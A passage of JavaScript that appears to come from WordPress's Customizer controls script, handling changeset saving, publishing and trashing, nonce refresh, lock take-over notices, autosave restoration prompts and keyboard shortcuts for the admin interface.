					customize_theme: api.settings.theme.stylesheet,
					nonce: this.nonce.preview,
					customize_changeset_uuid: api.settings.changeset.uuid
				};
				if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
					queryVars.customize_autosaved = 'on';
				}

				/*
				 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
				 * Changeset updates are differential and so it is a performance waste to send all of
				 * the dirty settings with each update.
				 */
				queryVars.customized = JSON.stringify( api.dirtyValues( {
					unsaved: options && options.excludeCustomizedSaved
				} ) );

				return queryVars;
			},

			/**
			 * Save (and publish) the customizer changeset.
			 *
			 * Updates to the changeset are transactional. If any of the settings
			 * are invalid then none of them will be written into the changeset.
			 * A revision will be made for the changeset post if revisions support
			 * has been added to the post type.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added args param and return value.
			 *
			 * @param {Object} [args] Args.
			 * @param {string} [args.status=publish] Status.
			 * @param {string} [args.date] Date, in local time in MySQL format.
			 * @param {string} [args.title] Title
			 * @return {jQuery.promise} Promise.
			 */
			save: function( args ) {
				var previewer = this,
					deferred = $.Deferred(),
					changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
					selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
					processing = api.state( 'processing' ),
					submitWhenDoneProcessing,
					submit,
					modifiedWhileSaving = {},
					invalidSettings = [],
					invalidControls = [],
					invalidSettingLessControls = [];

				if ( args && args.status ) {
					changesetStatus = args.status;
				}

				if ( api.state( 'saving' ).get() ) {
					deferred.reject( 'already_saving' );
					deferred.promise();
				}

				api.state( 'saving' ).set( true );

				function captureSettingModifiedDuringSave( setting ) {
					modifiedWhileSaving[ setting.id ] = true;
				}

				submit = function () {
					var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';

					api.bind( 'change', captureSettingModifiedDuringSave );
					api.notifications.remove( errorCode );

					/*
					 * Block saving if there are any settings that are marked as
					 * invalid from the client (not from the server). Focus on
					 * the control.
					 */
					api.each( function( setting ) {
						setting.notifications.each( function( notification ) {
							if ( 'error' === notification.type && ! notification.fromServer ) {
								invalidSettings.push( setting.id );
								if ( ! settingInvalidities[ setting.id ] ) {
									settingInvalidities[ setting.id ] = {};
								}
								settingInvalidities[ setting.id ][ notification.code ] = notification;
							}
						} );
					} );

					// Find all invalid setting less controls with notification type error.
					api.control.each( function( control ) {
						if ( ! control.setting || ! control.setting.id && control.active.get() ) {
							control.notifications.each( function( notification ) {
							    if ( 'error' === notification.type ) {
								    invalidSettingLessControls.push( [ control ] );
							    }
							} );
						}
					} );

					invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
					if ( ! _.isEmpty( invalidControls ) ) {

						invalidControls[0][0].focus();
						api.unbind( 'change', captureSettingModifiedDuringSave );

						if ( invalidSettings.length ) {
							api.notifications.add( new api.Notification( errorCode, {
								message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
								type: 'error',
								dismissible: true,
								saveFailure: true
							} ) );
						}

						deferred.rejectWith( previewer, [
							{ setting_invalidities: settingInvalidities }
						] );
						api.state( 'saving' ).set( false );
						return deferred.promise();
					}

					/*
					 * Note that excludeCustomizedSaved is intentionally false so that the entire
					 * set of customized data will be included if bypassed changeset update.
					 */
					query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
						nonce: previewer.nonce.save,
						customize_changeset_status: changesetStatus
					} );

					if ( args && args.date ) {
						query.customize_changeset_date = args.date;
					} else if ( 'future' === changesetStatus && selectedChangesetDate ) {
						query.customize_changeset_date = selectedChangesetDate;
					}

					if ( args && args.title ) {
						query.customize_changeset_title = args.title;
					}

					// Allow plugins to modify the params included with the save request.
					api.trigger( 'save-request-params', query );

					/*
					 * Note that the dirty customized values will have already been set in the
					 * changeset and so technically query.customized could be deleted. However,
					 * it is remaining here to make sure that any settings that got updated
					 * quietly which may have not triggered an update request will also get
					 * included in the values that get saved to the changeset. This will ensure
					 * that values that get injected via the saved event will be included in
					 * the changeset. This also ensures that setting values that were invalid
					 * will get re-validated, perhaps in the case of settings that are invalid
					 * due to dependencies on other settings.
					 */
					request = wp.ajax.post( 'customize_save', query );
					api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

					api.trigger( 'save', request );

					request.always( function () {
						api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
						api.state( 'saving' ).set( false );
						api.unbind( 'change', captureSettingModifiedDuringSave );
					} );

					// Remove notifications that were added due to save failures.
					api.notifications.each( function( notification ) {
						if ( notification.saveFailure ) {
							api.notifications.remove( notification.code );
						}
					});

					request.fail( function ( response ) {
						var notification, notificationArgs;
						notificationArgs = {
							type: 'error',
							dismissible: true,
							fromServer: true,
							saveFailure: true
						};

						if ( '0' === response ) {
							response = 'not_logged_in';
						} else if ( '-1' === response ) {
							// Back-compat in case any other check_ajax_referer() call is dying.
							response = 'invalid_nonce';
						}

						if ( 'invalid_nonce' === response ) {
							previewer.cheatin();
						} else if ( 'not_logged_in' === response ) {
							previewer.preview.iframe.hide();
							previewer.login().done( function() {
								previewer.save();
								previewer.preview.iframe.show();
							} );
						} else if ( response.code ) {
							if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
								api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
							} else if ( 'changeset_locked' !== response.code ) {
								notification = new api.Notification( response.code, _.extend( notificationArgs, {
									message: response.message
								} ) );
							}
						} else {
							notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
								message: api.l10n.unknownRequestFail
							} ) );
						}

						if ( notification ) {
							api.notifications.add( notification );
						}

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.rejectWith( previewer, [ response ] );
						api.trigger( 'error', response );

						// Start a new changeset if the underlying changeset was published.
						if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
							api.settings.changeset.uuid = response.next_changeset_uuid;
							api.state( 'changesetStatus' ).set( '' );
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
							api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
						}
					} );

					request.done( function( response ) {

						previewer.send( 'saved', response );

						api.state( 'changesetStatus' ).set( response.changeset_status );
						if ( response.changeset_date ) {
							api.state( 'changesetDate' ).set( response.changeset_date );
						}

						if ( 'publish' === response.changeset_status ) {

							// Mark all published as clean if they haven't been modified during the request.
							api.each( function( setting ) {
								/*
								 * Note that the setting revision will be undefined in the case of setting
								 * values that are marked as dirty when the customizer is loaded, such as
								 * when applying starter content. All other dirty settings will have an
								 * associated revision due to their modification triggering a change event.
								 */
								if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
									setting._dirty = false;
								}
							} );

							api.state( 'changesetStatus' ).set( '' );
							api.settings.changeset.uuid = response.next_changeset_uuid;
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
						}

						// Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
						api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.resolveWith( previewer, [ response ] );
						api.trigger( 'saved', response );

						// Restore the global dirty state if any settings were modified during save.
						if ( ! _.isEmpty( modifiedWhileSaving ) ) {
							api.state( 'saved' ).set( false );
						}
					} );
				};

				if ( 0 === processing() ) {
					submit();
				} else {
					submitWhenDoneProcessing = function () {
						if ( 0 === processing() ) {
							api.state.unbind( 'change', submitWhenDoneProcessing );
							submit();
						}
					};
					api.state.bind( 'change', submitWhenDoneProcessing );
				}

				return deferred.promise();
			},

			/**
			 * Trash the current changes.
			 *
			 * Revert the Customizer to its previously-published state.
			 *
			 * @since 4.9.0
			 *
			 * @return {jQuery.promise} Promise.
			 */
			trash: function trash() {
				var request, success, fail;

				api.state( 'trashing' ).set( true );
				api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

				request = wp.ajax.post( 'customize_trash', {
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.trash
				} );
				api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
					type: 'info',
					message: api.l10n.revertingChanges,
					loading: true
				} ) );

				success = function() {
					var urlParser = document.createElement( 'a' ), queryParams;

					api.state( 'changesetStatus' ).set( 'trash' );
					api.each( function( setting ) {
						setting._dirty = false;
					} );
					api.state( 'saved' ).set( true );

					// Go back to Customizer without changeset.
					urlParser.href = location.href;
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.changeset_uuid;
					queryParams['return'] = api.settings.url['return'];
					urlParser.search = $.param( queryParams );
					location.replace( urlParser.href );
				};

				fail = function( code, message ) {
					var notificationCode = code || 'unknown_error';
					api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
					api.state( 'trashing' ).set( false );
					api.notifications.remove( 'changeset_trashing' );
					api.notifications.add( new api.Notification( notificationCode, {
						message: message || api.l10n.unknownError,
						dismissible: true,
						type: 'error'
					} ) );
				};

				request.done( function( response ) {
					success( response.message );
				} );

				request.fail( function( response ) {
					var code = response.code || 'trashing_failed';
					if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
						success( response.message );
					} else {
						fail( code, response.message );
					}
				} );
			},

			/**
			 * Builds the front preview URL with the current state of customizer.
			 *
			 * @since 4.9.0
			 *
			 * @return {string} Preview URL.
			 */
			getFrontendPreviewUrl: function() {
				var previewer = this, params, urlParser;
				urlParser = document.createElement( 'a' );
				urlParser.href = previewer.previewUrl.get();
				params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );

				if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
					params.customize_changeset_uuid = api.settings.changeset.uuid;
				}
				if ( ! api.state( 'activated' ).get() ) {
					params.customize_theme = api.settings.theme.stylesheet;
				}

				urlParser.search = $.param( params );
				return urlParser.href;
			}
		});

		// Ensure preview nonce is included with every customized request, to allow post data to be read.
		$.ajaxPrefilter( function injectPreviewNonce( options ) {
			if ( ! /wp_customize=on/.test( options.data ) ) {
				return;
			}
			options.data += '&' + $.param({
				customize_preview_nonce: api.settings.nonce.preview
			});
		});

		// Refresh the nonces if the preview sends updated nonces over.
		api.previewer.bind( 'nonce', function( nonce ) {
			$.extend( this.nonce, nonce );
		});

		// Refresh the nonces if login sends updated nonces over.
		api.bind( 'nonce-refresh', function( nonce ) {
			$.extend( api.settings.nonce, nonce );
			$.extend( api.previewer.nonce, nonce );
			api.previewer.send( 'nonce-refresh', nonce );
		});

		// Create Settings.
		$.each( api.settings.settings, function( id, data ) {
			var Constructor = api.settingConstructor[ data.type ] || api.Setting;
			api.add( new Constructor( id, data.value, {
				transport: data.transport,
				previewer: api.previewer,
				dirty: !! data.dirty
			} ) );
		});

		// Create Panels.
		$.each( api.settings.panels, function ( id, data ) {
			var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
			// Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.panel.add( new Constructor( id, options ) );
		});

		// Create Sections.
		$.each( api.settings.sections, function ( id, data ) {
			var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
			// Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.section.add( new Constructor( id, options ) );
		});

		// Create Controls.
		$.each( api.settings.controls, function( id, data ) {
			var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
			// Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.control.add( new Constructor( id, options ) );
		});

		// Focus the autofocused element.
		_.each( [ 'panel', 'section', 'control' ], function( type ) {
			var id = api.settings.autofocus[ type ];
			if ( ! id ) {
				return;
			}

			/*
			 * Defer focus until:
			 * 1. The panel, section, or control exists (especially for dynamically-created ones).
			 * 2. The instance is embedded in the document (and so is focusable).
			 * 3. The preview has finished loading so that the active states have been set.
			 */
			api[ type ]( id, function( instance ) {
				instance.deferred.embedded.done( function() {
					api.previewer.deferred.active.done( function() {
						instance.focus();
					});
				});
			});
		});

		api.bind( 'ready', api.reflowPaneContents );
		$( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
			var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
			values.bind( 'add', debouncedReflowPaneContents );
			values.bind( 'change', debouncedReflowPaneContents );
			values.bind( 'remove', debouncedReflowPaneContents );
		} );

		// Set up global notifications area.
		api.bind( 'ready', function setUpGlobalNotificationsArea() {
			var sidebar, containerHeight, containerInitialTop;
			api.notifications.container = $( '#customize-notifications-area' );

			api.notifications.bind( 'change', _.debounce( function() {
				api.notifications.render();
			} ) );

			sidebar = $( '.wp-full-overlay-sidebar-content' );
			api.notifications.bind( 'rendered', function updateSidebarTop() {
				sidebar.css( 'top', '' );
				if ( 0 !== api.notifications.count() ) {
					containerHeight = api.notifications.container.outerHeight() + 1;
					containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
					sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
				}
				api.notifications.trigger( 'sidebarTopUpdated' );
			});

			api.notifications.render();
		});

		// Save and activated states.
		(function( state ) {
			var saved = state.instance( 'saved' ),
				saving = state.instance( 'saving' ),
				trashing = state.instance( 'trashing' ),
				activated = state.instance( 'activated' ),
				processing = state.instance( 'processing' ),
				paneVisible = state.instance( 'paneVisible' ),
				expandedPanel = state.instance( 'expandedPanel' ),
				expandedSection = state.instance( 'expandedSection' ),
				changesetStatus = state.instance( 'changesetStatus' ),
				selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
				changesetDate = state.instance( 'changesetDate' ),
				selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
				previewerAlive = state.instance( 'previewerAlive' ),
				editShortcutVisibility  = state.instance( 'editShortcutVisibility' ),
				changesetLocked = state.instance( 'changesetLocked' ),
				populateChangesetUuidParam, defaultSelectedChangesetStatus;

			state.bind( 'change', function() {
				var canSave;

				if ( ! activated() ) {
					saveBtn.val( api.l10n.activate );
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );

				} else if ( '' === changesetStatus.get() && saved() ) {
					if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.published );
					} else {
						saveBtn.val( api.l10n.saved );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );

				} else {
					if ( 'draft' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							saveBtn.val( api.l10n.draftSaved );
						} else {
							saveBtn.val( api.l10n.saveDraft );
						}
					} else if ( 'future' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							if ( changesetDate.get() !== selectedChangesetDate.get() ) {
								saveBtn.val( api.l10n.schedule );
							} else {
								saveBtn.val( api.l10n.scheduled );
							}
						} else {
							saveBtn.val( api.l10n.schedule );
						}
					} else if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.publish );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
				}

				/*
				 * Save (publish) button should be enabled if saving is not currently happening,
				 * and if the theme is not active or the changeset exists but is not published.
				 */
				canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );

				saveBtn.prop( 'disabled', ! canSave );
			});

			selectedChangesetStatus.validate = function( status ) {
				if ( '' === status || 'auto-draft' === status ) {
					return null;
				}
				return status;
			};

			defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';

			// Set default states.
			changesetStatus( api.settings.changeset.status );
			changesetLocked( Boolean( api.settings.changeset.lockUser ) );
			changesetDate( api.settings.changeset.publishDate );
			selectedChangesetDate( api.settings.changeset.publishDate );
			selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
			selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
			saved( true );
			if ( '' === changesetStatus() ) { // Handle case for loading starter content.
				api.each( function( setting ) {
					if ( setting._dirty ) {
						saved( false );
					}
				} );
			}
			saving( false );
			activated( api.settings.theme.active );
			processing( 0 );
			paneVisible( true );
			expandedPanel( false );
			expandedSection( false );
			previewerAlive( true );
			editShortcutVisibility( 'visible' );

			api.bind( 'change', function() {
				if ( state( 'saved' ).get() ) {
					state( 'saved' ).set( false );
				}
			});

			// Populate changeset UUID param when state becomes dirty.
			if ( api.settings.changeset.branching ) {
				saved.bind( function( isSaved ) {
					if ( ! isSaved ) {
						populateChangesetUuidParam( true );
					}
				});
			}

			saving.bind( function( isSaving ) {
				body.toggleClass( 'saving', isSaving );
			} );
			trashing.bind( function( isTrashing ) {
				body.toggleClass( 'trashing', isTrashing );
			} );

			api.bind( 'saved', function( response ) {
				state('saved').set( true );
				if ( 'publish' === response.changeset_status ) {
					state( 'activated' ).set( true );
				}
			});

			activated.bind( function( to ) {
				if ( to ) {
					api.trigger( 'activated' );
				}
			});

			/**
			 * Populate URL with UUID via `history.replaceState()`.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {boolean} isIncluded Is UUID included.
			 * @return {void}
			 */
			populateChangesetUuidParam = function( isIncluded ) {
				var urlParser, queryParams;

				// Abort on IE9 which doesn't support history management.
				if ( ! history.replaceState ) {
					return;
				}

				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( isIncluded ) {
					if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
						return;
					}
					queryParams.changeset_uuid = api.settings.changeset.uuid;
				} else {
					if ( ! queryParams.changeset_uuid ) {
						return;
					}
					delete queryParams.changeset_uuid;
				}
				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			};

			// Show changeset UUID in URL when in branching mode and there is a saved changeset.
			if ( api.settings.changeset.branching ) {
				changesetStatus.bind( function( newStatus ) {
					populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
				} );
			}
		}( api.state ) );

		/**
		 * Handles lock notice and take over request.
		 *
		 * @since 4.9.0
		 */
		( function checkAndDisplayLockNotice() {

			var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{

				/**
				 * Template ID.
				 *
				 * @type {string}
				 */
				templateId: 'customize-changeset-locked-notification',

				/**
				 * Lock user.
				 *
				 * @type {object}
				 */
				lockUser: null,

				/**
				 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
				 *
				 * @constructs wp.customize~LockedNotification
				 * @augments   wp.customize.OverlayNotification
				 *
				 * @since 4.9.0
				 *
				 * @param {string} [code] - Code.
				 * @param {Object} [params] - Params.
				 */
				initialize: function( code, params ) {
					var notification = this, _code, _params;
					_code = code || 'changeset_locked';
					_params = _.extend(
						{
							message: '',
							type: 'warning',
							containerClasses: '',
							lockUser: {}
						},
						params
					);
					_params.containerClasses += ' notification-changeset-locked';
					api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
				},

				/**
				 * Render notification.
				 *
				 * @since 4.9.0
				 *
				 * @return {jQuery} Notification container.
				 */
				render: function() {
					var notification = this, li, data, takeOverButton, request;
					data = _.extend(
						{
							allowOverride: false,
							returnUrl: api.settings.url['return'],
							previewUrl: api.previewer.previewUrl.get(),
							frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
						},
						this
					);

					li = api.OverlayNotification.prototype.render.call( data );

					// Try to autosave the changeset now.
					api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
						if ( ! response.autosaved ) {
							li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
						}
					} );

					takeOverButton = li.find( '.customize-notice-take-over-button' );
					takeOverButton.on( 'click', function( event ) {
						event.preventDefault();
						if ( request ) {
							return;
						}

						takeOverButton.addClass( 'disabled' );
						request = wp.ajax.post( 'customize_override_changeset_lock', {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.override_lock
						} );

						request.done( function() {
							api.notifications.remove( notification.code ); // Remove self.
							api.state( 'changesetLocked' ).set( false );
						} );

						request.fail( function( response ) {
							var message = response.message || api.l10n.unknownRequestFail;
							li.find( '.notice-error' ).prop( 'hidden', false ).text( message );

							request.always( function() {
								takeOverButton.removeClass( 'disabled' );
							} );
						} );

						request.always( function() {
							request = null;
						} );
					} );

					return li;
				}
			});

			/**
			 * Start lock.
			 *
			 * @since 4.9.0
			 *
			 * @param {Object} [args] - Args.
			 * @param {Object} [args.lockUser] - Lock user data.
			 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
			 * @return {void}
			 */
			function startLock( args ) {
				if ( args && args.lockUser ) {
					api.settings.changeset.lockUser = args.lockUser;
				}
				api.state( 'changesetLocked' ).set( true );
				api.notifications.add( new LockedNotification( 'changeset_locked', {
					lockUser: api.settings.changeset.lockUser,
					allowOverride: Boolean( args && args.allowOverride )
				} ) );
			}

			// Show initial notification.
			if ( api.settings.changeset.lockUser ) {
				startLock( { allowOverride: true } );
			}

			// Check for lock when sending heartbeat requests.
			$( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
				data.check_changeset_lock = true;
				data.changeset_uuid = api.settings.changeset.uuid;
			} );

			// Handle heartbeat ticks.
			$( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
				var notification, code = 'changeset_locked';
				if ( ! data.customize_changeset_lock_user ) {
					return;
				}

				// Update notification when a different user takes over.
				notification = api.notifications( code );
				if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
					api.notifications.remove( code );
				}

				startLock( {
					lockUser: data.customize_changeset_lock_user
				} );
			} );

			// Handle locking in response to changeset save errors.
			api.bind( 'error', function( response ) {
				if ( 'changeset_locked' === response.code && response.lock_user ) {
					startLock( {
						lockUser: response.lock_user
					} );
				}
			} );
		} )();

		// Set up initial notifications.
		(function() {
			var removedQueryParams = [], autosaveDismissed = false;

			/**
			 * Obtain the URL to restore the autosave.
			 *
			 * @return {string} Customizer URL.
			 */
			function getAutosaveRestorationUrl() {
				var urlParser, queryParams;
				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( api.settings.changeset.latestAutoDraftUuid ) {
					queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
				} else {
					queryParams.customize_autosaved = 'on';
				}
				queryParams['return'] = api.settings.url['return'];
				urlParser.search = $.param( queryParams );
				return urlParser.href;
			}

			/**
			 * Remove parameter from the URL.
			 *
			 * @param {Array} params - Parameter names to remove.
			 * @return {void}
			 */
			function stripParamsFromLocation( params ) {
				var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				_.each( params, function( param ) {
					if ( 'undefined' !== typeof queryParams[ param ] ) {
						strippedParams += 1;
						delete queryParams[ param ];
					}
				} );
				if ( 0 === strippedParams ) {
					return;
				}

				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			}

			/**
			 * Displays a Site Editor notification when a block theme is activated.
			 *
			 * @since 4.9.0
			 *
			 * @param {string} [notification] - A notification to display.
			 * @return {void}
			 */
			function addSiteEditorNotification( notification ) {
				api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', {
					message: notification,
					type: 'info',
					dismissible: false,
					render: function() {
						var notification = api.Notification.prototype.render.call( this ),
							button = notification.find( 'button.switch-to-editor' );

						button.on( 'click', function( event ) {
							event.preventDefault();
							location.assign( button.data( 'action' ) );
						} );

						return notification;
					}
				} ) );
			}

			/**
			 * Dismiss autosave.
			 *
			 * @return {void}
			 */
			function dismissAutosave() {
				if ( autosaveDismissed ) {
					return;
				}
				wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
					wp_customize: 'on',
					customize_theme: api.settings.theme.stylesheet,
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.dismiss_autosave_or_lock,
					dismiss_autosave: true
				} );
				autosaveDismissed = true;
			}

			/**
			 * Add notification regarding the availability of an autosave to restore.
			 *
			 * @return {void}
			 */
			function addAutosaveRestoreNotification() {
				var code = 'autosave_available', onStateChange;

				// Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
				api.notifications.add( new api.Notification( code, {
					message: api.l10n.autosaveNotice,
					type: 'warning',
					dismissible: true,
					render: function() {
						var li = api.Notification.prototype.render.call( this ), link;

						// Handle clicking on restoration link.
						link = li.find( 'a' );
						link.prop( 'href', getAutosaveRestorationUrl() );
						link.on( 'click', function( event ) {
							event.preventDefault();
							location.replace( getAutosaveRestorationUrl() );
						} );

						// Handle dismissal of notice.
						li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );

						return li;
					}
				} ) );

				// Remove the notification once the user starts making changes.
				onStateChange = function() {
					dismissAutosave();
					api.notifications.remove( code );
					api.unbind( 'change', onStateChange );
					api.state( 'changesetStatus' ).unbind( onStateChange );
				};
				api.bind( 'change', onStateChange );
				api.state( 'changesetStatus' ).bind( onStateChange );
			}

			if ( api.settings.changeset.autosaved ) {
				api.state( 'saved' ).set( false );
				removedQueryParams.push( 'customize_autosaved' );
			}
			if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
				removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
			}
			if ( removedQueryParams.length > 0 ) {
				stripParamsFromLocation( removedQueryParams );
			}
			if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
				addAutosaveRestoreNotification();
			}
			var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 );
			if (shouldDisplayBlockThemeNotification) {
				addSiteEditorNotification( api.l10n.blockThemeNotification );
			}
		})();

		// Check if preview url is valid and load the preview frame.
		if ( api.previewer.previewUrl() ) {
			api.previewer.refresh();
		} else {
			api.previewer.previewUrl( api.settings.url.home );
		}

		// Button bindings.
		saveBtn.on( 'click', function( event ) {
			api.previewer.save();
			event.preventDefault();
		}).on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				api.previewer.save();
			}
			event.preventDefault();
		});

		closeBtn.on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				this.click();
			}
			event.preventDefault();
		});

		$( '.collapse-sidebar' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

		api.state( 'paneVisible' ).bind( function( paneVisible ) {
			overlay.toggleClass( 'preview-only', ! paneVisible );
			overlay.toggleClass( 'expanded', paneVisible );
			overlay.toggleClass( 'collapsed', ! paneVisible );

			if ( ! paneVisible ) {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
			} else {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
			}
		});

		// Keyboard shortcuts - esc to exit section/panel.
		body.on( 'keydown', function( event ) {
			var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];

			if ( 27 !== event.which ) { // Esc.
				return;
			}

			/*
			 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
			 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
			 */
			if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
				return;
			}

			// Abort if we're inside of a block editor instance.
			if ( event.target.closest( '.block-editor-writing-flow' ) !== null ||
				event.target.closest( '.block-editor-block-list__block-popover' ) !== null
			) {
				return;
			}

			// Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
			api.control.each( function( control ) {
				if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
					expandedControls.push( control );
				}
			});
			api.section.each( function( section ) {
				if ( section.expanded() ) {
					expandedSections.push( section );
				}
			});
			api.panel.each( function( panel ) {
				if ( panel.expanded() ) {
					expandedPanels.push( panel );
				}
			});

			// Skip collapsing expanded controls if there are no expanded sections.
			if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
				expandedControls.length = 0;
			}

			// Collapse the most granular expanded object.
			collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
			if ( collapsedObject ) {
				if ( 'themes' === collapsedObject.params.type ) {

					// Themes panel or section.
					if ( body.hasClass( 'modal-open' ) ) {
						collapsedObject.closeDetails();
					} else if ( api.panel.has( 'themes' ) ) {

						// If we're collapsing a section, collapse the panel also.
						api.panel( 'themes' ).collapse();
					}
					return;
				}
				collapsedObject.collapse();
				event.preventDefault();
			}
		});

		$( '.customize-controls-preview-toggle' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

